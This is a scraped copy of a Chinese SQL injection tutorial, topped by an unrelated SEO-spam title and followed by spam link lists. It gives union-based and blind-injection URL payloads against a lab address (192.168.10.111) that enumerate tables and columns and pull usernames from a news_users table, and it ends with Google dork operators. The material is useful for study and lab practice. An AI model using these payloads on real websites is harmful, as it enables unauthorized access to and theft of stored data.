当前位置: 首页 > news >正文

dw怎么做滚动视差的网站网店代运营骗局流程

dw怎么做滚动视差的网站,网店代运营骗局流程,用jquery做的网站,建设网站的规划书一、SQL注入分类 SQL注入根据攻击方式的不同,可以分为以下几种类型: 数字型注入字符型注入报错注入布尔盲注时间盲注联合查询注入基于堆叠的查询注入 二、SQL注入流程 发现注入点猜测字段数确定显示字段获取数据库信息获取数据库中的表获取表中的字段获…

一、SQL注入分类

SQL注入根据攻击方式的不同,可以分为以下几种类型:

  1. 数字型注入
  2. 字符型注入
  3. 报错注入
  4. 布尔盲注
  5. 时间盲注
  6. 联合查询注入
  7. 基于堆叠的查询注入

二、SQL注入流程

  1. 发现注入点
  2. 猜测字段数
  3. 确定显示字段
  4. 获取数据库信息
  5. 获取数据库中的表
  6. 获取表中的字段
  7. 获取字段中的数据
例子:

获取数据库名参考

  1. 字符限制:数据库的名字可以包含字母、数字、下划线和美元符号($)。但是,名字不能以数字开头。

  2. 大小写敏感性:在Windows系统上,MySQL数据库的名字默认是不区分大小写的。但在大多数Unix/Linux系统上,数据库的名字是区分大小写的。为了确保跨平台的兼容性,建议使用小写字母。

  3. 长度限制:数据库的名字最大长度为64个字符。

1.发现网站请求为get,如果存在注入点这里不会报错
http://192.168.10.111/news/show.php?id=-1 and 1=12.发现注入点后猜字段,逐一尝试猜测字段数
http://192.168.10.111/news/show.php?id=-1 order by 16
-- order by x 根据第x个字段排序,如果出现报错说明字段不存在3.发现不报错出现,并且出现的数值,为显示字段
http://192.168.10.111/news/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,154.脱库
//获取当前数据库
http://192.168.10.111/news/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15//获取数据库中的表,hex的作用是因为拼接后的字符串有‘,’会混淆
192.168.10.111/news/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,
hex(group_concat(table_name))
,12,13,14,15 from information_schema.tables where table_schema='news'//获取表中的字段
192.168.10.111/news/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,
hex(group_concat(column_name))
,12,13,14,15 from information_schema.columns where table_schema='news' and table_name='news_users

三、sql盲注:

构造真或者假的问题对数据库进行提问

寻找sql注入点

1.在url后添加   ’  如果报错说明有注入点

2.对数值型注入点可以进行减法

3.对在url后添加   and 1=2   如果没有正常显示,说明有注入点

例子:
-- 猜测数据库长度
http://192.168.10.111/news/show.php?id=46 and length(database())=4-- 或取当前数据库第二个字符
http://192.168.10.111/news/show.php?id=46 and substr(database(),2,1)='e'-- 获取news数据库中所有表名长度
http://192.168.10.111/news/show.php?id=46 and length((select group_concat(table_name) 
from information_schema.tables where table_schema='news'))=98-- 获取表名字符串第一个字符
http://192.168.10.111/news/show.php?id=46 and substr((select group_concat(table_name) 
from information_schema.tables where table_schema='news'),1,1)='n'-- 获取news库,news_users表中字段字符串的字符串长度
http://192.168.10.111/news/show.php?id=46 and length((select group_concat(column_name) 
from information_schema.columns where table_schema='news' and table_name='news_users'))=24-- 获取字段第一个字符
http://192.168.10.111/news/show.php?id=46 and substr((select group_concat(column_name) 
from information_schema.columns where table_schema='news' and table_name='news_users'),1,1)='u'-- 获取username字段中的信息长度
http://192.168.10.111/news/show.php?id=46 and length((select group_concat(username) from 
news.news_users))=5-- 获取username字段的字符
http://192.168.10.111/news/show.php?id=46 and substr((select group_concat(username) fromnews.news_users),2,1)='d'

 

注:查找网站资源可使用hacking语法

inurl:?id=                url中存在:?id=

Intitle:admin            title中存在:admin

filetype:txt                查找网站中txt文件

site:www.baidu.com 在百度中查找

http://www.tj-hxxt.cn/news/69065.html

相关文章:

  • 公益网站怎么做友链提交入口
  • 自己做的网站打开是乱码宁波seo推荐推广平台
  • 东莞网约车资格证官网登录入口百度关键词优化公司
  • 个人网站设计摘要域名查询ip138
  • 做钢材生意一般做什么网站好长沙网站外包公司
  • 临沂网站建设方案书百度推广
  • 建设通官网通seo在哪可以学
  • html5官网免费下载搜索引擎优化
  • 学校内部网站开发价格推广业务
  • 仿牌外贸网站建设静态网站开发
  • 网站用户维度汉川seo推广
  • 白银网站建设熊掌号网站推广的公司
  • 网站如何布局什么是网站seo
  • 免费的二维码生成软件湖州网站seo
  • 网站开发课程培训爱站网站长百度查询权重
  • 常州企业免费建站短期的技能培训有哪些
  • 优秀的国内企业网站站长之家seo综合查询
  • 网站开发目录规范邢台市seo服务
  • 营销型网站建设易网拓百度明令禁止搜索的词
  • 好公司网站建设价格青岛关键词网站排名
  • 做网站横幅技巧绍兴seo网站推广
  • 做一个平台网站要多少钱百度seo怎么提高排名
  • 网络推广网站优化推广什么意思
  • 网站建设个人网站湖北seo
  • 如何提高网站的曝光率百度网站关键词排名助手
  • 阿里巴巴 商城网站怎么做企业网站有哪些功能
  • psd做成网站网页设计
  • 学校网站模板下载百度竞价sem入门教程
  • 做网站可以用哪些语言用广州seo推广获精准访问量
  • 文件服务器怎么搭建南宁seo外包平台